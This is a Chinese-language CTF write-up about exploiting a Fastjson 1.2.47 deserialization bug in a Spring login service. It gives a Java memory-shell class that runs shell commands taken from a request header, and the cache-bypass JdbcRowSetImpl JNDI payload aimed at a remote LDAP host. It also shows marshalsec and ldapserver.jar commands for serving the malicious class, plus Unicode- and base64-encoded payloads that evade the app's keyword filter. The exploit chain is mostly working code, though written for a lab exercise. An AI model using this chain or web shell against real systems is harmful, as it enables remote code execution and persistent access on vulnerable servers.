记第一次做Java反序列化题目

前言

chu0佬发了个题目,说最近刚学完fastjson,来试试,(这个被我鸽了好久了,抓紧来看看)本人刚刚学完fastjson,现在来试试。

题目

本地起个环境

1
java -jar Login.jar 

访问IP:8081

image-20240415163349799

反编译看看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package BOOT-INF.classes.com.ctf.controller;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;
import com.ctf.entity.User;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.regex.Pattern;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class IndexController {
static {
ParserConfig.getGlobalInstance().addAccept("com.ctf.entity.User");
}

@GetMapping({"/"})
public String index() {
return "index.html";
}

@ResponseBody
@PostMapping({"/login"})
public String login(HttpServletRequest request, HttpServletResponse response) {
String data = request.getParameter("data");
String resp = "Maybe username or password error!";
if (data == null)
return JSON.toJSONString(resp);
Base64.Decoder decoder = Base64.getDecoder();
String decode = new String(decoder.decode(data), StandardCharsets.UTF_8);
Pattern p = Pattern.compile("JdbcRowSetImpl|type|dataSourceName|autoCommit|TemplatesImpl|bytecodes|BasicDataSource", 8);
boolean isMatch = p.matcher(decode).find();
if (!isMatch)
try {
Object user = JSON.parse(decode);
User u = new User((String)((JSONObject)user).get("username"), (String)((JSONObject)user).get("password"));
if (u.getUsername().equals("ctf") && u.getPassword().equals("ILikeCTFGAMES!!!")) {
resp = "Login Success,flag Is flag{***********}.";
} else {
resp = "Maybe Username or Password error!";
}
} catch (Exception e) {
resp = "Maybe Username or Password error!";
}
return JSON.toJSONString(resp);
}
}

可以看到有json.parse,是fastjson了

看看依赖

image-20240401190444828

1.2.47版本的

是个登录界面,

看看fastjson原理

使用AutoType功能进行序列号的JSON字符会带有一个@type来标记其字符的原始类型,在反序列化的时候会读取这个@type,来试图把JSON内容反序列化到对象,并且会调用这个库的setter或者getter方法,然而,@type的类有可能被恶意构造,只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。
大体过程就是

1.我们发现目标靶机有fastjson漏洞,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetImpl恶意类信息发送给目标机。

2.存在漏洞的靶机对json反序列化时候,会加载执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行的命令。也就是靶机服务器问rmi服务器,(靶机服务器)需要执行什么命令啊?
3.rmi 服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用的代码编译得到.class文件,并上传至恶意站点),得到攻击者(我们)构造好的命令(ping dnslog或者创建文件或者反弹shell啥的)
4.rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。
5.靶机服务器执行了恶意代码,被攻击者成功利用。

准备一个内存马,编译成class放服务器同目录下就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package classloader;

import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringEcho {
//静态代码块在类加载的时候就会去执行
static {
try {
//首先获取当前的HttpServletRequest和HttpServletResponse对象。
Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getResponse");
Method m1 = c.getMethod("getRequest");
Object resp = m.invoke(o);
Object req = m1.invoke(o); // HttpServletRequest
//通过反射获取HttpServletRequest的"getHeader"方法,用于获取HTTP请求头"cmd"的值,通过变量"cmd"执行系统命令。
Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
getHeader.setAccessible(true);
getWriter.setAccessible(true);
Object writer = getWriter.invoke(resp);
String cmd = (String)getHeader.invoke(req, "cmd");
String[] commands = new String[3];
//这里对操作系统做了判断,windows和linux的采用cmd和/bin/bash来命令执行
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
commands[0] = "cmd";
commands[1] = "/c";
} else {
commands[0] = "/bin/sh";
commands[1] = "-c";
}
commands[2] = cmd;
//使用反射获取"writer"对象的方法,然后执行命令并输出结果
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream()).useDelimiter("\\A").next());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
writer.getClass().getDeclaredMethod("close").invoke(writer);
} catch (Exception e) {

}

}
}

抓一下环境包

image-20240415163516653

data解密看看

1
{"username":"admin","password":"1123"}

看源码发现

image-20240415163746105

观察发现是Fastjson1.2.47image-20240415163814889

fj47是有一个通过缓存绕过黑名单check的通杀payload,这里直接给出来

1
{{"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, {"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://ip:port/Exploit", "autoCommit": true}}

由于存在CC依赖,所以尝试加载恶意类(tp链),但是并没有设置feature,所以只能尝试jndi注入,不清楚环境是否出网,直接注入的内存马(SpringEcho),其实就是把jdni注入访问的类换成了内存马恶意类

利用java 反序列化利用工具 marshalsec

1
2
3
git clone https://github.com/mbechler/marshalsec.git 下载marshalsec
apt-get install maven 安装maven
mvn clean package -DskipTests 使用maven编译marshalsec成jar包

启动RMI服务器

然后借助marshalsec项目,启动一个LADP服务器,监听9998端口,并制定加载远程类

SpringEcho.class

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.182.132:8082/#SpringEcho" 9998   #这里地址填的是你访问要下载恶意类的地址
1
{{"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, {"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://101.34.80.152:8085/POTFLPlp, "autoCommit": true}}   #这的地址是监听机的地址

payload unicode编码一下即可

1
{{"\u0040\u0074\u0079\u0070\u0065": "\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073", "\u0076\u0061\u006c": "\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"}, {"\u0040\u0074\u0079\u0070\u0065": "\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c", "\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065": "\u006c\u0064\u0061\u0070\u003a\u002f\u002f\u0031\u0039\u0032\u002e\u0031\u0036\u0038\u002e\u0031\u0038\u0032\u002e\u0031\u0033\u0032\u003a\u0039\u0039\u0039\u0038\u002f\u0023\u0053\u0070\u0072\u0069\u006e\u0067\u0045\u0063\u0068\u006f", "\u0061\u0075\u0074\u006f\u0043\u006f\u006d\u006d\u0069\u0074": true}}

image-20240415194001488

后面换了新工具也是可以的

1
java -jar ldapserver.jar -c "calc" -p 1389 -g CommonsCollections6

生成的数据包

Unicode+base64

1
data=e3siXHUwMDQwXHUwMDc0XHUwMDc5XHUwMDcwXHUwMDY1IjogIlx1MDA2YVx1MDA2MVx1MDA3Nlx1MDA2MVx1MDAyZVx1MDA2Y1x1MDA2MVx1MDA2ZVx1MDA2N1x1MDAyZVx1MDA0M1x1MDA2Y1x1MDA2MVx1MDA3M1x1MDA3MyIsICJcdTAwNzZcdTAwNjFcdTAwNmMiOiAiXHUwMDYzXHUwMDZmXHUwMDZkXHUwMDJlXHUwMDczXHUwMDc1XHUwMDZlXHUwMDJlXHUwMDcyXHUwMDZmXHUwMDc3XHUwMDczXHUwMDY1XHUwMDc0XHUwMDJlXHUwMDRhXHUwMDY0XHUwMDYyXHUwMDYzXHUwMDUyXHUwMDZmXHUwMDc3XHUwMDUzXHUwMDY1XHUwMDc0XHUwMDQ5XHUwMDZkXHUwMDcwXHUwMDZjIn0sIHsiXHUwMDQwXHUwMDc0XHUwMDc5XHUwMDcwXHUwMDY1IjogIlx1MDA2M1x1MDA2Zlx1MDA2ZFx1MDAyZVx1MDA3M1x1MDA3NVx1MDA2ZVx1MDAyZVx1MDA3Mlx1MDA2Zlx1MDA3N1x1MDA3M1x1MDA2NVx1MDA3NFx1MDAyZVx1MDA0YVx1MDA2NFx1MDA2Mlx1MDA2M1x1MDA1Mlx1MDA2Zlx1MDA3N1x1MDA1M1x1MDA2NVx1MDA3NFx1MDA0OVx1MDA2ZFx1MDA3MFx1MDA2YyIsICJcdTAwNjRcdTAwNjFcdTAwNzRcdTAwNjFcdTAwNTNcdTAwNmZcdTAwNzVcdTAwNzJcdTAwNjNcdTAwNjVcdTAwNGVcdTAwNjFcdTAwNmRcdTAwNjUiOiAiXHUwMDZjXHUwMDY0XHUwMDYxXHUwMDcwXHUwMDNhXHUwMDJmXHUwMDJmXHUwMDMxXHUwMDMyXHUwMDM3XHUwMDJlXHUwMDMwXHUwMDJlXHUwMDMwXHUwMDJlXHUwMDMxXHUwMDNhXHUwMDMxXHUwMDMzXHUwMDM4XHUwMDM5XHUwMDJmXHUwMDQzXHUwMDZmXHUwMDZkXHUwMDZkXHUwMDZmXHUwMDZlXHUwMDczXHUwMDQzXHUwMDZmXHUwMDZjXHUwMDZjXHUwMDY1XHUwMDYzXHUwMDc0XHUwMDY5XHUwMDZmXHUwMDZlXHUwMDczXHUwMDM2IiwgIlx1MDA2MVx1MDA3NVx1MDA3NFx1MDA2Zlx1MDA0M1x1MDA2Zlx1MDA2ZFx1MDA2ZFx1MDA2OVx1MDA3NCI6IHRydWV9fQ==

传入网页发现会弹出计算器

Yakit也可以,利用反连服务器

image-20240416190725169

附言

解决成功了哇卡卡卡~

感谢chu0师傅耐心为我解答,么么~

感谢chu0!!!!!

感谢chu0佬!!!!

跪谢!!!,跪谢!!!!呜呜呜太感动了!!!!